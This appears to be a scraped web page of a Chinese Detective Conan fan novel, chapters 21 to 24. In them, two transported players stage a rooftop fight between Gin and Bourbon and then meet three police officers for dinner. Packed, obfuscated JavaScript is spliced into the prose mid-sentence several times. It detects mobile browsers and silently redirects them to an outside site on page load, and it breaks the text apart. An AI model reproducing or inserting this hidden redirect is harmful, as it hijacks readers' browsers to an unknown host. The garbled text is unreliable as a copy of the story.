l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15610365|170691||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 定就好,我听你的!】的咸鱼回应后,他犹豫再三,还是决定选择复制卡。 毕竟这张储存卡只能帮他们开启支线任务,对于获取演绎值的主线任务来说没有太大的价值。消耗4.5%演绎值兑换的黑客技能对于他们来说目前的用处不大。 更何况,如果琴酒真的是关键角色,那以他们现在获取演绎值的速度来说,不知道猴年马月才能完成任务。演绎值获取不易,用4.5%去换,牧山晓肉疼。 【我选1,兑换复制卡。】 【好的。请问需要直接复制关键道具吗?】 【复制吧。】 牧山晓安静地等了一会儿,忽然觉得手心有些发热。他抬起手时,就看到手中多出一张储存卡,从外表上看与他从打火机里拆出来的那张一模一样。 虽然还是不知道密码,但既然是关键道具,暂时留着也行,以后很有可能会派上用场。 【对了。】牧山晓突然想起一件事,【上次没来得及问,你之前说的新手福利的那个滤镜,到底有什么作用?】 系统:【是“受害者滤镜”哦,心怀正义的人看到您时,会受滤镜影响,自动将您代入“受害人”的身份。】 牧山晓:【……】虽然隐约猜到了一点,但还是感到离谱。 按照名柯的世界观,如果把“心怀正义的人”这个前提条件简单理解为“红方”的话,这样一来,就能解释警校组三人面对自己时奇怪的态度了。 【这个福利滤镜,我亲友也有吗?】 【演绎者002号也有的,他的是“黑化滤镜”。心怀邪恶的人看到他时,会受滤镜影响,强化对他的负面印象。】 听到这个回答,牧山晓有些惊讶,因为他完全没看出来亲友身上有任何变化。 不过系统也说了只有“心怀邪恶的人”会受到这个滤镜的影响,也就是说可能只在“黑方”的人身上起作用。 【这个滤镜效果能关掉吗?】牧山晓回想起警校组三人对待自己的态度,觉得这东西有点麻烦。 【暂时不能。不过等这个剧本结束后,演绎者如果需要更换马甲,就可以刷新全身状态。】 【……等等,你的意思是,演完这个剧本还有下一个?】 【一个剧本所能获取的演绎值极限能量,不足以打开时空通道。所以大概率需要演绎者进行多个剧本演绎。】 【……具体要几个?】 【要根据演绎者的任务进度来推算。】 【……行吧。】说了等于没说。 不等牧山晓询问更多的信息,系统突然发出能量不足的提示,很快就沉寂下去。 牧山晓:……他的第一直觉没错,这个系统果然很不靠谱! 21.烫男人是金发黑皮(二十一) 天台的风很大。 天色阴沉,放眼望去,铅灰色的乌云堆积着从头顶压下来,像是下一秒就要将人吞没。云层潮湿冷冽的气味充斥着鼻腔,预示着一场暴风雨即将来临。 银发男人站在石墙护栏边,长发被狂风吹得在风中乱舞。他脚边立着一个贝斯琴盒,一顶黑色礼帽挂在琴盒顶端。 男人放下手中的望远镜,转过身背靠护栏,重心后移,修长的双腿随意地交叠在一起。 他接起一通电话,呜呜作响的狂风隐隐要盖住电话里传出的声音。 男人只好起身,朝楼梯间大门的位置走了几步。 “喂,贝尔摩德?” “琴酒,你那边可真吵,看来你此时此刻的工作环境不如人意啊。”电话那头的女人的抱怨中带着几分调笑。 “为了监测任务目标罢了。”琴酒不愿废话,只简单解释了一句,接着直奔正题,“你有什么事?” “美国这边的任务已经顺利解决,卡尔瓦多斯明天就回日本。顺便告诉波本不用来了。” 琴酒对贝尔摩德的任务并不关心,只淡淡道了句“恭喜”,随后挑眉问道:“你为什么不直接给波本打电话?” “我最近听说了一些关于波本的很有趣的传言,担心贸然联系会打扰到他,所以只能请你这位最近跟波本走得很近的人帮忙转告了~” 贝尔摩德话尾处点毫不掩饰的调侃意味,令琴酒莫名:“你什么意思?” 什么叫跟波本走得很近? “啊,看来你没听说呢,有关波本的那个传言。” “他的传言跟我有什么关系。” “跟你可是关系匪浅呢,琴酒。” 琴酒:“?” 没有得到想要的回应,贝尔摩德继续引诱:“想知道吗?出于同事情谊,我很愿意跟你分享八卦,希望这不会毁了我在你心中优雅女人的形象。” “不想。”正在任务状态的银发杀手果断又冷漠的开口,“还有别的事吗?” “……别这么无趣嘛,琴酒,你真的一点都不好奇?” “没事就挂了。” “哎,别急呀。”贝尔摩德有点被惹恼了,琴酒冷淡的反应显得好像她有多死缠烂打似的——虽然琴酒一向如此。 可偏偏她的确心痒痒得不行,才打出这个电话的。她迫不及待地想看琴酒听到这个八卦的反应。 “你不好奇,我可是好奇得不行。琴酒,我很想知道,波本最近真的在针对你吗?” 琴酒再次:“?” 不等琴酒回应,贝尔摩德继续兴致勃勃地说:“我最近听说了一个离谱的传言,说是波本偷偷豢养了一个‘金丝雀’,还为了他的‘小东西’花尽了心思。可属于他的‘金丝雀’却心系于组织的金牌杀手,惹得波本到处发疯,扬言要与这位金牌杀手势不两立。” “琴酒,他们口中的‘金牌杀手’,该不会真的是你吧?” 琴酒:“……”什么意思,波本养鸟了? 这只鸟跟他又有什么关系? 不知道从琴酒的沉默中品出了什么信息,贝尔摩德意味深长地说:“离谱的传言到底是无稽之谈,还是有所影射,恐怕只有当事人才知道,你说是吗?” 琴酒虽然没有第一时间听明白贝尔摩德的话,但他对这个女人谜语人的作风非常了解。 能让她如此拐弯抹角地看笑话,十有八九是些很无聊的东西。 他没有直接回答,而是意味不明地说了句:“波本最近的确不太对劲。” 看来发现波本异常的人不止他一个,只是不知道波本到底藏着什么秘密,又能藏到什么时候。 “黑暗中的老鼠迟早会露出尾巴,我对此非常期待。你知道的,处决老鼠是我为数不多的乐趣——但很遗憾,八卦不是。” “下次再聊吧,贝尔摩德,希望下次你能少说点废话。” 说完,银发杀手冷酷无情地挂断了电话。 …… 琴酒将交接地点定在了一栋废弃烂尾楼的天台,他要在这里监测下一个任务目标的行踪。 十几层高的大楼,没有电梯,如果是身虚体弱的死宅,爬上来恐怕要丢掉半条命。 这点运动量对常年保持体能训练的“波本”来说却不成问题。 金发男人穿着款式简单的休闲卫衣和牛仔裤,用鸭舌帽将一头浅色的金发遮住。当他双手插兜悠闲地走在街上时,从外表看完全是个再普通不过的大学生。被口罩遮住一半的侧颜流露出的池面气息,甚至时不时会吸引来偶然路过的jk偷偷打量的目光。 他步履从容地离开人来人往的街道,转进无人的路口,一路目不斜视地绕过挂有警告牌的围栏,悄然钻进了这栋废弃烂尾楼。 然后他一边爬楼一边在心中暗骂琴酒这个死工作狂,自己想当劳模就算了还不顾别人死活,明明他的协助任务已经结束了,还要被临时叫过来打下手。 一口气爬上十几楼,金发男人微微喘着气,推开天台的门。 银发杀手正站在天台的边缘,呼啸的狂风肆意撩动着他的长发。听到身后的脚步声,他立即转身。 “波本,你来了。” 金发男人压住头顶差点被吹跑的鸭舌帽,走上前,递出一直被他捏在手心把玩一路的打火机。 “喏,东西给你。事先声明,遵从你的要求,我可没有打开过这玩意,如果里面有什么问题跟我没关系。” 琴酒没搭理他,接过打火机,指尖用 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15616665|170691||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 力直接捏碎打火机的外壳,露出藏在里面的储存卡。他将储存卡放到眼前仔细打量了一番,然后随手收进大衣口袋。 交接完成,金发男人没急着走,他双手插回口袋,问道:“这次找我什么事?” 琴酒冷绿色的眼睛盯着他的脸看了好一会儿,突然莫名其妙地问了句:“你最近养鸟了?” “?”金发男人一脸疑惑,“没有啊,你听谁说的?” “没事。”琴酒冷静地收回视线,继续举着望远镜,观察远处的任务目标。 金发男人见他不再搭理自己,百无聊赖地冲琴酒盯住的方向望了一眼,发现什么都看不见,于是转身要走:“要是没事我就走了,我可不像你这么兢兢业业。” 非上班时间,能摆则摆。 “等等。”琴酒忽然喊住他,头也不回地说,“美国那边的任务结束了,贝尔摩德暂时不需要你。我这里缺一个情报人员,朗姆让你最近跟我搭档。” 金发男人脚步顿住,转头看向琴酒的目光带着显而易见的不满。 看他这反应,好像很不情愿跟琴酒一起做任务。 琴酒不动声色地瞥了他一眼,想了想,勉为其难地说了句:“合作愉快。” 他不在乎组织里有关自己跟波本不合的传言,虽然他根本搞不清楚自己跟波本之间的关系有什么值得到处传播的。 但他能察觉到波本对自己的抵触情绪。贝尔摩德有一句话说对了,他也觉得,波本最近在针对他。 他不在乎原因,也不在乎波本的心理活动,他只要任务不受到影响。 为了团队合作,某些方面的主动是必要的。 琴酒侧身,朝身后的金发男人伸出右手,用行动进一步强调他刚才所说的那四个字。 然而,带着皮质手套的右手孤零零地在空中尴尬地举了很久,始终没有得到回应。 金发男人盯着他看了很久,目光中毫不掩饰的挑剔的恶意,令琴酒忍不住皱眉。 数秒过后,琴酒收回右手,面无表情地问了句:“怎么,你对跟我搭档的事有意见?” 不等对方回应,他就漠然转过身,语气瞬间冷了下来:“如果有意见,你可以去找朗姆。” 琴酒没有回头,不知道身后的人是什么反应,他听到脚步声响起,以为对方打算负气离开。 他想起贝尔摩德的那些话,忽而讽刺地笑了一声。 “友情提醒。”银发杀手冷声开口,语气中含着凉薄的嘲讽,“处理好你的私事,别让私生活影响任务。否则,我不介意亲自动手,让你成为下一个死在天台上的人。” 话音刚落,身后的脚步声猛地顿住。紧接着,浓烈的杀意携着凛冽的寒风,狂啸着从他的背后袭来。 22.烫男人是金发黑皮(二十二) 狂风呼啸的天台上,紧张凝滞的气氛仿佛即刻点燃的引线,随时会爆炸。 银色长发的杀手猛地挺直背部,浑身肌肉下意识紧绷。他死死盯着突然浑身杀意暴涨的金发男人,警惕的同时,心中存有几分不解。 波本说他没有养鸟,可听到金丝雀这三个字,他的反应却大得异常。 贝尔摩德满含深意的暧昧语调在耳边回闪,琴酒只反应了几秒,很快便恍然。 看来波本养的不是鸟,而是人。 真是无聊。 琴酒冷笑一声,缓缓从大衣内兜里抽出伯\莱\塔,直指金发男人的胸口。 “看来你真的养了一个小情人。”琴酒无视金发男人身上越来越盛的杀意,语气玩味地说,“‘偷偷圈养的金丝雀’,怎么,难不成你还为他专门打造了笼子?” “他是什么来头?是怎么落到你手里的?你怎么忽然有兴致玩这种游戏——” 银发杀手的声音忽地沉了下来,冷冽如冬日寒风。 “——这些我通通不关心。” “管好你自己,波本。你喜欢到处宣扬你的私人爱好,那是你自己的事,但是我再说一遍,别让你的那点破事影响任务。别忘了苏格兰的下场,你也不想成为下一个死在天台上的人吧?” 伯\莱\塔的枪口隔空在金发男人的心口处点了一下,带着轻佻的威胁意味,是明晃晃的警告。 说完,琴酒不理会金发男人的反应,动作利落地收起枪,一手提起放在地上的贝斯琴盒,另一只手捡起挂在琴盒上的礼帽。 礼帽的边沿点了下被丢在围栏上的望远镜。 “接下去的监视任务就交给你了,波本。好好为组织效力,别让BOSS和朗姆失望。” 说完,琴酒转身朝楼梯间走去。 路过金发男人身边时,身形同样高大的两个男人双肩交错。银发杀手面无表情,灰绿色的瞳孔中满是事不关己的冷漠。而金发男人头微微低垂,深肤色的脸埋在金色的碎发之下,让人看不清神情。 突然,一条肌肉紧绷的臂膀拦在银发杀手的胸前。 琴酒侧头,闪着冷光的绿色双眸静静地盯着身侧的人,如同戒备的猛兽。 “很不礼貌啊,琴酒。”金发男人开口,嗓音低沉而缓慢,带着潮湿的阴冷气息,“对别人的私生活指指点点,自顾自地说了一堆冠冕堂皇的话。” 金发男人忽然抬头,视线蓦地与银发杀手的目光对上,暗沉紫灰色的双眸中闪着诡谲的光。 “说什么‘好好为组织效力’,自己却做着逃避责任的事。整天口口声声喊着别人是老鼠——苏格兰的那次任务,你难道没有任何嫌疑吗?” “琴酒,对组织不忠的人到底是谁呢?” “你在说什么鬼话。”绿色的眼眸眯起,危险的杀意从中缓缓泄露,“空口污蔑代号成员,你知道有会什么后果吗?” “这是合理怀疑。”金发男人冷哼一声,没有丝毫收敛之意,“还有莱伊的那次任务,你敢说你没有一丁点的私心?” 这家伙在胡说些什么?! 本就满心不耐烦的银发杀手听到“莱伊”这两个字后,身上的寒意更甚,他左手闪电般按上伯\莱\塔的枪柄,拔枪和子弹上膛的动作一气呵成。 可不等他的枪口再次对准目标,一道凌厉的疾风袭来,下一秒他的左手手腕传来剧痛,发出几乎像骨骼碎裂的脆响。 枪身猛地一偏,却没有掉落。 强而有力的攻击再次疯狂侵袭,次次对准握枪的左手。 琴酒简直要被气笑了。 破空的枪声毫不犹豫地响起,巨大的震颤声几乎惊动酝酿着厚厚雷雨的云层。 可惜距离太近了,手枪发挥不了它最优的性能。琴酒一连三发子弹落空,终于被激出怒意,干脆丢掉枪,左手五指用力收紧。 拳风呼啸着中耳边划过,骨骼和肌肉撞击的沉闷声在空旷的天台上接连不断地响起。一场突如其来又莫名其妙的打斗在沉默中持续着。 直到其中一方战败。 银发杀手用拇指抹了把嘴角渗的血液 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15620904|170691||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,踩在金发男人胸膛上的脚毫不留情地发力,仿佛要将男人的肋骨踩碎。 “呵,情报人员。” 短短几个字泄露出无尽的讥讽。 盯着仰躺在地上的金发男人狠厉的双眸,琴酒冷哼一声,简短的两句话为今天这场闹剧画上句号:“看来是你那些见不得人的私人爱好烧坏了你的脑子。波本,我不介意送你去审讯室清醒一下,不过在这之前,我很乐意先送你的小情人去地狱。” “没有下次。” 说完,他收回脚,转身去捡快要被狂风吹走的礼帽。 他脚步不紧不缓,听见身后传来窸窸索索的声音,没怎么在意。 如果波本还要发疯,他就再把人揍一顿,直到把人揍服为止。 他捡起礼帽,拍拍上面的灰尘,扣在头上。正要转身,却在下一秒瞳孔猛地一缩。 “嘀——嘀——” 这道突兀响起的电子音对于他来说再熟悉不过。 琴酒猛地回头,震惊地看向金发男人。只见对方已经从地上爬了起来,满身狼狈,金色碎发间隐约露出的紫灰色瞳孔中,却翻涌着粘稠的恶意,写满了阴郁和疯狂。 金发男人扶着墙勉强站立,右手中握着一个巴掌大小的盒子,诡异的低笑声从他满是鲜血的嘴中溢出,令人不寒而栗。 “该死的,你疯了?!” 琴酒的视线死死盯着男人的右手,那个黑色的盒子他认得,是组织里新研发出的微型炸弹,威力足以炸毁一层楼。 金发男人一言不发,在琴酒警惕的注视中,他猛地一个用力,将手中的盒子狠狠地摔在地上。 下一瞬盒子被摔成碎片,嘀嘀作响的电子音也跟着停止。 爆炸没有发生。这是枚哑弹。 “看在组织的份上,这次就算了。”金发男人语气阴沉,“警告你,离我的人远一点,也少来管我的事。否则我会让你知道什么是真正的疯子。” 说完,金发男人径直转身离开。留下银发杀手一个人站在天台上,脸色难看至极。 23.烫男人是金发黑皮(二十三) 再次回到人来人往的街道上,金发男人的心情十分激动。 【傻狗波波:晓宝!我觉得我刚刚帅爆了!!!】 【傻狗波波:唯一的遗憾是最后放狠话环节还不够狠,可恶!刚才那场戏来得太突然了,我都没发挥好!】 【傻狗波波:我能改台词再来一次吗?!】 【牧山:你还想再挨一次琴酒的揍吗。】 【傻狗波波:嘿嘿嘿,说实话有点想,因为跟琴爷打架真的很爽!啊啊啊啊琴爷揍我!】 【牧山:……变态。】 不想看这只傻狗继续犯蠢,牧山晓连忙转移话题。 【牧山:演绎值一下子涨了6%,看来效果不错,这下琴酒肯定对你印象深刻。】 【傻狗波波:竟然涨了这么多!这么说的话,琴酒应该就是我们要找的关键角色了?】 【牧山:目前看起来应该就是他。不过我还是觉得演绎值涨得有点慢,这样下去不知道要演多少场才能攒满……】 【牧山:不过也有可能是因为这次演绎只有你一个人,如果下次我们两个一起出场的话,演绎值会翻倍也说不定。】 【傻狗波波:好耶一起出场!晓宝,我们下场戏是什么时候?我已经等不及了!】 【牧山:现在琴酒已经知道我的存在了,不过以他的性格,估计只会觉得波本疯得莫名其妙,只要波本的异常不影响任务,他大概率不会特别放在心上……】 不过也正是这种程度的发疯,让琴酒虽然可能会起杀心,但不至于为了组织真的把波本处理掉。 【傻狗波波:所以我就说这种程度的挑衅不够刺激,就该让我直接约他对狙!】 【牧山:你狙得过他?】 【傻狗波波:狙不过,但我可以玩阴的!让他吃瘪!就喜欢看他生气!】 【牧山:……你那么做除了让他非常想杀死你以外没有其他意义,想想就行了,别乱来。】 【牧山:先回来吧,给我带点吃的,快饿死了。】 【傻狗波波:好哦!你想吃什么?】 【牧山:用脑过度,有点想吃甜品……比如抹茶大福?】 【傻狗波波:好嘞少爷,使命必达!】 …… 安全屋中,牧山晓的注意力从脑内频道转移,继续摆弄面前的笔记本电脑。 自从昨天拿到那个储存卡的复制版后,他就一直在尝试解开密码。 好消息是无论输错多少次,储存卡既不会锁定,也不会触犯什么秘密程序自动销毁。 坏消息是牧山晓无论怎么尝试都打不开。 看来专业的事还得交给专业的人来干。 牧山晓甚至已经在考虑要不要把储存卡交给公安算了,也算替降谷零做个卧底任务,就当作是对这些天来借用对方资源的回报…… 不过这些是后话。眼下牧山晓最关注的,自然还是演绎剧本。 系统给出的关键词,怎么看都只能从狗血套路文的角度展开。 牧山晓根据波本的人设,以及他与琴酒这个关键角色的关系,再加上从亲友之前经历的那个投毒案中汲取到的灵感,构想出了一个粗略的剧本大纲。 故事中的少年,原本是一个集团社长的孩子,家境富饶。然而从小养尊处优的他并不知道,自己享受的财富,是父亲背地里跟与恶魔齐名的黑衣组织做交易换来的,他更加没想到,因为与黑衣组织的利益冲突,父亲终究自食恶果引来了杀身之祸。 琴酒是这场交易中的刽子手,也是被少年亲眼目睹行凶过程的灭门仇人。 少年侥幸在这场灭门惨案中活了下来,陷入昏迷之际,被后一步赶来做收尾工作的波本发现。 之前不小心被琴酒抓住过把柄的金发男人,在发现现场竟然还有活口后,第一反应不是补上一枪,而是将少年藏起来,让他变成琴酒的把柄。 于是他将少年囚禁了起来,没让任何人知道。 目前牧山晓的人设,就是一个身陷囹圄却仍旧一心只想复仇的少年。而亲友的人设,是抓住了琴酒把柄,对银发杀手敌视又忌惮,潜伏在黑暗中伺机对目标发出致命一击的疯批。 ……不过这只是剧本的前半部分,也就是系统给的剧本关键词中“黑透”和“小黑屋”的部分。至于“强制爱”的部分……牧山晓头疼地表示不愿细想,干脆到后面自由发挥算了。 说起来,系统给他们两人的福利滤镜,恰好在某方面迎合了他想出的人设。 鉴于“黑透”这个关键词,牧山晓特意嘱咐亲友表现得疯一点,怎么变态怎么演。 他甚至从安室透原身留下的那堆小东西中,找出一个微型炸弹让亲友随身携带——当然,出于安全考虑,他盯着亲友把炸弹里面的装置破坏掉,才肯让他放在身上。 组织里那些传得火热的谣言,也是他让亲友故意放出去的。 值得一提的是,谣言的散播效果少不了伏特加的一份贡献,毕竟“波本圈养金丝雀”的消息,他可是第一目击者,他本人对这个八卦的热情令亲友这个谣言创始人都感到惊讶。 目前为止,事情进展得十分顺利。日渐展露出“变态”本色的“波本”强势地吸引了琴酒的注意。接下来,牧山晓需要想想怎么让自己这个角色登场,才能给琴酒留下足够深刻的印象。 对于从自己手下意外逃生的“猎物”,冷血的银发杀手或许除了杀意不会有更多的情绪。但如果他发现自己失手放走的“猎物”转头被别的野兽叼走,又会是怎样的反应呢…… 耳边突然响起的信息提示音打断了牧山晓的思绪。他的视线下意识落在茶几上,那上面放着他昨天和亲友一起去买的新手机。 目前知道他新手机号码的人只有两个,而会给他发信息的人,只有那一个。 牧山晓拿起手机点开,惊讶地发现屏幕上出现的并不是萩原研二的号码。 【你好牧山,我是伊达航,我从我的朋友萩原那 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15628986|170691||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 里得到了你的联系方式,贸然打扰十分抱歉。这周末你有时间吗?我和萩原希望能约你一起吃饭,松田也会去。期待你的回复。】 行文是礼貌客气却足够真诚的语气,符合他们只有过两面之缘的关系。 但对方最后一句话特意提到萩原研二和松田阵平,也不知道是不是在暗示什么。 牧山晓一时想起萩原研二帮自己打车的善心之举,一时又想到伊达航的“救命之恩”,想要拒绝的信息根本不知道该怎么编辑。 之前萩原研二开玩笑说一起吃饭,谁知道他是认真的啊! …… 信息发送出去后,伊达航频繁查看手机,在搜查一课磨炼数年早已成为一个沉稳警察的他,此时的心情却是少见的忐忑。 一旁从爆\炸\物处理班跑过来摸鱼的萩原研二还时不时跑来骚扰他。 “班长,小牧山回消息了吗?” “班长,现在呢?” “班长班长?” 伊达航烦不胜烦,手中的文件袋往桌子上一拍,恼火地说:“你这么关心,干脆自己给他发信息好了,为什么非要让我来?!” 伊达航本就长得人高马大,一双粗犷的眉毛蹙起,面露不耐,更显得他凶神恶煞的。 萩原研二却嬉皮笑脸地往他身边凑:“我这不是想着,班长见义勇为,小牧山说不定更喜欢你呢。万一我约人家不肯出来,岂不是很尴尬?” 伊达航阴阳怪气地说:“我连他的联系方式都没有,我看他还是更亲近你。是吧,‘搜查一课人气第一’的萩原警官?” “哎呀班长,这都多久之前的事了,不要再拿来取笑我了。” “你都从搜查一课调回去多久了,我们课的女警还对你念念不忘,每次联谊的话题都还是以你为中心呢。看来萩原警官的魅力不容小觑。” 萩原研二被说得脸都快红了,轻咳两声岔开话题:“总之,把小牧山约出来的任务就交给你了,我和小阵平都看好你。” 说起这个,伊达航不禁收起玩笑的心思,眉宇间泛起一丝忧虑:“如果被拒绝的话,或许我们该就此打住。那个金发笨蛋正在做的事一定很危险,如果牧山那小子真的跟那家伙有关系,我们贸然接近也许会给他们带去麻烦。” “我知道。”萩原研二的神情也变得严肃几分,“可是,这是我们这么多年来得到的为数不多有关那两个人的消息,就这么放弃的话,我不甘心。就算不是为了小牧山,我也想争取一次看看。” 伊达航叹气:“我知道,我也是。” “如果小牧山表现出抗拒的话……”萩原研二语气犹豫,“无论他是出于什么想法,或许我们的确不该再多管闲事……好吧,如果他拒绝,我可以当什么都没发生过,为了他们的安全。” 他的话音刚落,紧接着就听到信息提示音响起。 伊达航一怔,连忙拿起手机查看。 片刻后,他惊喜地抬头:“他同意了!” 24.烫男人是金发黑皮(二十四) 说是约牧山晓吃饭,其实更像是伊达航、萩原研二和松田阵平三人的常规聚会,顺便叫上了牧山晓而已。 至少抵达约定地点时,牧山晓是这么认为的。 地址和时间都是伊达航直接发过来的。 这里是一家居酒屋,店面不大,生意却好得出奇。一推开门,热闹嘈杂的人声扑面而来,啤酒的麦香混着烤肉的香气涌入鼻腔,让人不禁觉得浑身发暖,深秋傍晚的冷风带来的寒意被一瞬间驱散干净。 跟着服务生的指引走到包间门口,牧山晓推开门,看到了正围坐在一起的三个男人。 “哟,小牧山,你是最后一个到的!” 萩原研二坐的位置正对着门口,第一时间发现了牧山晓的到来。 牧山晓有些不自在地抿了下嘴。 小牧山?他们才只见过一次面吧? 真是有够自来熟的啊,不过一点都不会让人觉得反感或冒犯。不愧是萩原研二。 脱下鞋后,牧山晓走到那个一看就是留给他的空位上,跟在场的三人挨个打过招呼。 “不用太拘束,我们就是喊你来吃饭的,开开心心地吃饱喝足就好了!”萩原研二挨得最近,热情地拍拍少年的肩膀,“哎,你成年了吗?可以喝酒吗?” “hagi,不要带坏小孩子。”沉稳的伊达航及时阻止,并一脸认真地问牧山晓,“你要不要喝橙汁,或者我去帮你买奶茶?” 牧山晓:“……我成年了。” 他都快要大学毕业了。 只是这具身体看着像高中生而已。 牧山晓用比伊达航更认真的语气说:“啤酒就可以,谢谢。” 一扎满满当当的啤酒被“咚”的一声丢在面前的桌子上,金黄色的液体冒着绵密的白色气泡。 牧山晓抬头,正好看见松田阵平一脸面无表情,在另两人质疑的目光中收回手。 牧山晓没忍住笑了一下:“谢谢。” “小子,喝不完就留给我,别逞强。”松田阵平没看他,边说着边伸手去拿桌上的烤肉。 牧山晓抿住嘴角的笑意,听话地点点头。 这顿饭的氛围很好,前半程几乎一直都是警校组的三个人在聊天,棕发少年安静地坐着,偶尔才搭上一句话。 三个当警察的男人聊的话题很杂,感情、生活、同事间的八卦,一个话题能反反复复地聊上好几遍,再提起时却依旧兴致勃勃。 他们还会聊案子,聊着聊着就歪到一些奇怪的地方去。比如本来正在聊一桩大学教师的情杀案,不知怎么就忽然讨论起当代大学生之间复杂的人际关系。 直到喝着啤酒的伊达航状似不经意地看向坐在对面的棕发少年:“牧山现在应该还是正在上学的年纪吧,是高中生吗?” 突然抛过来的话题令少年征愣了一瞬,但他很快反应过来:“啊……不是,已经上大学了。” “是吗,牧山看起来年纪很小呢。”伊达航语气感叹:“真是搞不懂啊,现在年轻人的想法。不过回想起当年我们三个在警校时的生活,多少也能理解一点就是了。” “话说今晚跟我们来喝酒没关系吗,不会影响明天上课吧?” “不会,我明天没课。”少年看起来神情自若,礼貌地放下手中正在吃的烤鱼,认真回应伊达航的问题。 有点拘谨,但反应很自然,不同于与初见时支支吾吾的警惕模样。 伊达航面带微笑,又关切地问:“你父母也住在东京吗,太晚回去的话没关系吗?” “没关系,我没跟父母住在一起。” “这样啊……” 话题就这么自然而然地扯到了少年的身上。 萩原研二凑过来问:“小牧山今年大几,在上哪所大学啊,有兴趣报考警校吗?” 松田阵平一边咬着烤肉一边吐槽:“喂hagi,不要表现得像是个多管闲事的长辈,不是谁都想当警察的。” 萩原研二立刻识趣地道歉:“嘛抱歉抱歉,我可能喝多了酒有点太过兴奋。我其实是想问小牧山是不是快要毕业了,需要找实习工作吗?萩原叔叔可以帮忙哦。” “啊?额,实习什么的还早……”少年含糊地带过了这个话题,一副被问得有些困扰的样子。 松田阵平瞥了他一眼,很快接过话,不满地大声嚷嚷:“喂喂喂,干嘛不要脸地自称叔叔,我们还没那么老吧!小子,你叫他萩原叔叔可以,但要叫我松田哥哥,明白吗?” “哈哈哈哈,这样的话小阵平岂不是成了我的小辈嘛!” “混蛋,不要趁机占我的便宜!” “是你自己非要让小牧山叫你哥哥的!” 话题似乎就这样不知不觉地岔开了。 “怎么感觉你像是松了口气?” “?!” 少年猛地转头,就对上萩原研二一张放大的池面脸。 男人一副笑眯眯的样子看着少年调整好表情,不等少年回应,就接着说:“是因为不想叫我叔叔吗?所以松了口气。” 少年顿了一下,随即镇定地点头:“是的,萩原警官明明看起来还很年轻。” 萩原研二做出有些失望的样子:“好吧,就叫‘萩原哥哥’也行,叫一声来听听?” “喂,你这家伙不要欺负小孩子!强迫让对方喊自己哥哥什么的真是不要脸!” “到底是谁非要让小牧山叫自己哥哥的啊!” 竟然又自顾自地吵起来了…… 棕发少年好笑地叹了口气,拿起桌上吃到一半的烤鱼,继续啃起来。 被问到问题就礼貌地回应,遇到不想回答的问题就做出为难的样子。话不多,更多时候只是安静地听别人聊天,看起来并不因为觉得被冷落而尴尬,反而偶尔露出听得兴致勃勃的表情。 这样一副乖巧的样子,与伊达航记忆中,在洗手间听到的那个冷漠的声音相差甚远。 是在演戏吗? 今天他状似乖巧地透露出的这些信息中,又有几句是真的? 萩原研二和松田阵平两人一旦吵起来就会吵个没完,眼看话题又要扯远,伊达航忽然问道:“对了,你那个外国人朋友现在还在日本吗?” 正在认真听萩原和松田吵架的棕发少年愣了一下,才反应过来这句话是在问自己。 他眨了眨眼,说道:“他在的。怎么了,伊达警官想找他吗?” 伊达航笑笑说:“突然想到有一些关于案子上的细节,想要请教一下有常年在国外居住经历的人。我记得他是金发吧,是美国人吗?” “啊,算是吧,他是日美混血。”少年端起啤酒杯小小地抿了一口,才说,“不过他过两天好像 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15633502|170691||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 要回美国办事,不确定什么时候回来……伊达警官想什么时候见他,我可以帮忙转告。” “可以啊,那就麻烦你了——或者如果方便的话,可以给我一个他的联系方式吗?倒不是十分重要的事,所以也不是非见面不可。” 少年犹豫了一下说:“我可以先征求一下我朋友的意见吗?” “当然。”伊达航欣然应允,“不用着急,我随时等你的消息。” 他没有追着现在就要回复,这似乎让少年隐隐地放松了一些。 伊达航觉得,到这里就可以了。他担心过犹不及。 